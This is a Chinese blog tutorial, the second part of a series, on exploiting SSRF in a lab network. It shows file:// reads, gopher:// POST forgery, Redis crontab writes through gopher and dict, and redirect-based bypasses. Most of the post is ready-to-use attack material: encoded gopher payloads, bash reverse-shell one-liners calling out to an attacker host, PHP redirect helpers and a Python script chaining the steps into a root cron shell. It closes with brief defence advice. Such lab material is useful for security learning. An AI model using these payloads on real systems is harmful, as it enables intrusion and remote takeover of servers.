SSRF——漏洞利用(二)

0x01 概述

 

上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用。

 

0x02 实验环境

 

存在SSRF漏洞的靶机:192.168.220.143

被攻击的内网系统A:192.168.220.139  (web服务器)

 

SSRF漏洞存在于页面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代码如下:

<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

  可能出现SSRF的函数:file_get_contents()、curl()、fsocksopen()、fopen()等。

 

【利用1】 通过file协议读取文件

 

访问:http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=file:///C:/WINDOWS/win.ini  ,成功读取文件

 

【利用2】通过gopher协议对内网系统进行POST攻击

 

简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。 

假设存在一内网系统(http://192.168.220.139/test/ssrf/post.php),其支持POST请求,代码如下:

<html>
<head>
    <title>post</title>
</head>
<body>
    <?php
    echo $_REQUEST[cmd];
    ?>
</body>
</html>

 

①通过【curl命令】和【gopher协议】伪造post请求

 
curl -v 'gopher://192.168.220.139:80/_POST%20%2ftest%2fssrf%2fpost.php%20HTTP/1.1%0D%0AHost:%20192.168.220.139%0D%0AUser-Agent:%20curl/7.42.0%0D%0AAccept:%20*/*%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Acmd=aaaaaaaa'

 

科来网络分析工具抓包:

 

再查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.142的POST请求记录

  

②通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求

通过SSRF漏洞同样可以利用gopher协议对内网系统进行POST请求,不过首先需要查看下【phpinfo】,确认curl是enabled,并且需要确认下当前的curl版本是否支持gopher协议。

开始用的7.21.0,就没有复现成功,这里是个坑- -!如果curl版本太低,调高phpstudy里的php版本就可以惹^^

注意:这里的回车换行要二次编码:%0D%0A -->%250d%250a

 

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'

 

再去查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.143的POST请求记录。通过抓包可以看到,实际上,192.168.220.143确实向192.168.220.139发送了一个POST请求,在这里143其实充当了跳板机的角色。

 

攻击过程如下:

③通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求反弹shell

##补充知识1

靶机:    bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
攻击者:nc -lvvp 2333
 
 
回到SSRF漏洞,利用如下,同样可以反弹shell:
 
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'

 

 

④通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程攻击内网redis

可以参考这篇文章:通过gopher协议拓展攻击面

 

##补充知识2

①docker端口映射

docker run -d -p 6379:6379 ssrf_redis  #将docker的6379端口映射到宿主机的6379端口

docker ps   #查看端口映射情况

 

②攻击redis的exp:

此种方法能攻击成功的前提条件是:redis是以root权限运行的,通过【ps -aux | grep redis】查看redis服务权限,如果不是以root权限运行,就会出现【Permission denied】的报错。

redis-cli -h 192.168.220.142 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.140/9999 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

 

回到上面说的通过SSRF漏洞结合gopher协议攻击内网redis,可以构造如下命令,即可反弹shell:

 

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.142:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

 

③redis安全策略

  1. 开启protected-mode保护模式,配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379
  2. 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
  3. 禁止使用root运行redis

 

【利用3】盲打Struts2命令执行

Struts指纹识别 -> Struts远程代码执行漏洞

搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行

 

【利用4】通过dict协议读取目标服务器端口上运行的服务版本信息

访问:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=dict://192.168.220.143:3306

 

 

【利用5】通过dict协议getshell

参考:

小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)

腾讯某处SSRF漏洞(非常好的利用点)附利用脚本

 

关于dict协议:
  > dict://serverip:port/命令:参数
  > 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利

如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。

 

通过【curl命令】和【dict协议】可以对redis进行操作:

 

 

0x03 SSRF绕过限制

http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php,代码如下:

<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); 
//跳转重定向为True,默认不跳转  
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

 

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=flushall'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/shell.php?s=dict%26ip=192.168.220.142%26port=6379%26bhost=192.168.220.140%26bport=7777'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=config:set:dir:/var/spool/cron/'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142&port=6379&data=config:set:dbfilename:root'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=save'

 (理论上应该可以,但是实验没有成功,有可能是url编码的问题,以后有时间再来深究)

 

 实战代码:

#!/usr/bin/env python
# encoding: utf-8

import requests
host = '192.168.220.142'
port = '6379'
bhost = '192.168.220.140'
bport = '7777'
vul_httpurl = 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url='
_location = 'http://192.168.220.139:80/test/ssrf/302.php'
shell_location = 'http://192.168.220.139:80/test/ssrf/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#2 set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(
    host = host,
    port = port,
    bhost = bhost,
    bport = bport)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#3 config set dir /var/spool/cron/
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#4 config set dbfilename root
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#5 save to file
_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

 

302.php辅助脚本:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

 

shell.php辅助脚本:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>

 

file.php辅助脚本

<?php
header("Location: file:///c:/windows/system.ini");
?>

 

0x04 SSRF防御

1.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题

2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

3.禁止302跳转,或者每跳转一次,就检查一次新的Host是否是内网IP,直到抵达最后的网址。

还有一种比较暴力的,就是哪里出错删哪里。比如Weblogic不需要UDDI功能,就关闭这个功能(可以删除uddiexporer文件夹)。

 

 

参考链接:

SSRF学习之路

利用 Gopher 协议拓展攻击面

猪猪侠2016 SSRF PPT

腾讯某处SSRF漏洞

SSRF漏洞的利用与学习

posted @ 2019-09-29 21:17  Flo_Kz  阅读(4730)  评论(0编辑  收藏  举报